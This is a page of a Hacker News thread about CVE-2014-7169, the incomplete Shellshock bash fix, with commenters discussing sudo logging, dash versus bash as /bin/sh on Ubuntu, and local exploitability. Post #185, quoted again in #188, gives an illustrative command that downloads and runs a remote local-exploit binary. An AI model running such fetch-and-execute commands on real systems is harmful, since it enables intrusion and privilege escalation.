Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

seclists.org

Post reply on HN
Print view View original

181–190 of 226 posts

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#181

Post by cesarb »

ClashTheBunny wrote: post #171
cesarb wrote: post #148

Earlier quoted context omitted.

That makes me think of another facet of this bug: it can bypass logging by sudo of the executed commands. A quick look at journalctl's output shows that sudo by default, at least on the distribution I'm using, logs only the original user, the tty, the current working directory, the target user, and the command. It does not seem to log the environment variables. So you could use an innocent-looking sudo command (like…

Yes, just put a bash script called ls $HOME/bin, put that directory in $PATH, run sudo ls, and off you go... Hopefully you would not be white-listed to run things like that (always put the full path in sudoers), so you will need some sort of "obviously bash" in the log, but we all know what we have done at moments of interaction with paper-cuts. We have probably all lessened our security to ease discomfort here and t…

When I ran "sudo ls", the command that was logged was "/bin/ls", so putting a different ls in $PATH would not trick sudo's logging.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#182

Post by sophacles »

Wilya wrote: post #177
sjy wrote: post #123

Earlier quoted context omitted.

This assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).

All my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.

I spun up an EC2 ubuntu 14.04 instance a few minutes ago - a quick check shows sh -> dash.

Are your systems fresh installs or dist-upgrades from older systems? I wonder if there's a difference there somehow. Or perhaps your puppet/chef/etc rules are changing to bash?

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#183

Post by ims »

Wilya wrote: post #177
sjy wrote: post #123

Earlier quoted context omitted.

This assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).

All my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.

That's weird:

    $ lsb_release -a
    No LSB modules are available.
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.1 LTS
    Release:	14.04
    Codename:	trusty
    $ ls -l /bin/sh
    lrwxrwxrwx 1 root root 4 Feb 19  2014 /bin/sh -> dash

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#184

Post by cookiecaper »

Wilya wrote: post #177
sjy wrote: post #123

Earlier quoted context omitted.

This assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).

All my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.

Ubuntu symlinks /bin/sh to /bin/dash by default as of some ancient version. This is pretty annoying and I often end up manually undoing it and linking it to /bin/bash when a script fails in spectacular ways (dash doesn't support some bash-specific niceties). It's merely a fortunate accident for Ubuntu that this type of bug was discovered in bash, not dash.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#185

Post by sophacles »

annnnd wrote: post #134
dspillett wrote: post #130

Earlier quoted context omitted.

> It is curious to see how bash is mentioned everywhere, while the real culprit is the interaction between some web server and bash. The web server side only comes into play for remote exploits. It is locally exploitable too (though the potential for useful exploits that way is lower, it is still a significant risk).

Care to elaborate? AFAIK this bug is about remote execution, not about privilege escalation. The reason is that the shell would be run with the same privileges as the user who is setting the ENV variables, and only privileged users should be able to set system-wide ENV vars.

Practically speaking, there's not a lot of difference between arbitrary code execution and privilege escalation. There are a lot of local exploits for most operating systems. So once I can execute some arbitrary commands, I can simply:

   curl http://www.exploits.org/local_exploit1 -o iwin; ./iwin
(or more sophisticated variants that ensure the code is executable).

Even if you assume an otherwise perfect OS, this is dangerous, because e.g. www-data can usually access more code and data than any given web app user could. So now I could (e.g.) start dumping the database, which I accessed because I found the password in a PHP file www-data has to be able to read.

Keep in mind that a lot of information is passed around with environment variables - it's what they are for (keeps the need for complex command line parsing - a source of bugs itself - down). So while everyone is tying the exploit to web servers, that is because it is a trivial example of a place input data can be turned into an environment variable. There are undoubtedly others - to a large extent shell scripts still run the world.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#186

Post by schrodingersCat »

A little off topic, but am I still vulnerable?

I'm running OSX mavericks 10.9.5, use zsh as my default shell, and have a patched version of bash build from homebrew repo set as secondary in /etc/shells (on the occasion I need bash, I like to have completions). System bash is still vulnerable. With my current configuration, how worried should I be?

Any insight is appreciated!

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#187

Post by agwa »

annnnd wrote: post #127

It is curious to see how bash is mentioned everywhere, while the real culprit is the interaction between some web server and bash. Seriously, polutting ENV with HTTP headers? Admins should at least be able to block this. It should be possible to mitigate this attack (and many similar) by better header values parsing (in Apache/nginx/... - maybe in some proxy?). For instance, Content-Type header can only include alpha…

No, the real culprit is bash. Environment variables are a perfectly valid way to pass information around in a Unix environment. Let's not ruin the utility of environment variables because bash decided to do something idiotic with them.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#188

Post by dllthomas »

sophacles wrote: post #185
annnnd wrote: post #134

Earlier quoted context omitted.

Care to elaborate? AFAIK this bug is about remote execution, not about privilege escalation. The reason is that the shell would be run with the same privileges as the user who is setting the ENV variables, and only privileged users should be able to set system-wide ENV vars.

Practically speaking, there's not a lot of difference between arbitrary code execution and privilege escalation. There are a lot of local exploits for most operating systems. So once I can execute some arbitrary commands, I can simply: curl http://www.exploits.org/local_exploit1 -o iwin; ./iwin (or more sophisticated variants that ensure the code is executable). Even if you assume an otherwise perfect OS, this is dan…

For it to be interesting, it still requires some situation where a shell is run with data provided by someone who could not have just run a shell with the same context (UID, &c) themselves. There doubtless are others - as you say, scripts still run the world - but web is by far the most obvious.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#189

Post by dllthomas »

ClashTheBunny wrote: post #143
ClashTheBunny wrote: post #139

Earlier quoted context omitted.

I can think of a few ways this could be a problem if you sudo. Sudo is configured to whitelist environment variables, so just figure out which ones are on the whitelist, or find half the people who have alised sudo='sudo -E'. From man sudo on OS X: SECURITY NOTES sudo tries to be safe when executing external commands. Variables that control how dynamic loading and binding is done can be used to subvert the program th…

Specifically, here's Debian's output of sudo sudo -V: Environment variables to preserve: XAUTHORIZATION XAUTHORITY TZ PS2 PS1 PATH LS_COLORS KRB5CCNAME HOSTNAME DISPLAY COLORS Just set any of those on an account with sudo access to something that runs bash. Even if the bash command was something trivial.

... didn't the above say "we clear anything that starts with ()"? Doesn't that defang this?

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#190

Post by Wilya »

ims wrote: post #183
Wilya wrote: post #177

Earlier quoted context omitted.

All my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.

That's weird: $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ ls -l /bin/sh lrwxrwxrwx 1 root root 4 Feb 19 2014 /bin/sh -> dash

Hum. Strange. I just tested with clean Ubuntu EC2 instances, and they are indeed symlinking /bin/sh to dash.

Either I have a part of my standard stack that reverts it to bash (but I have no idea what could be doing that), or it could be my provider (OVH) doing that by default when they install Ubuntu.

Oh well, sorry for the noise.

Post reply on HN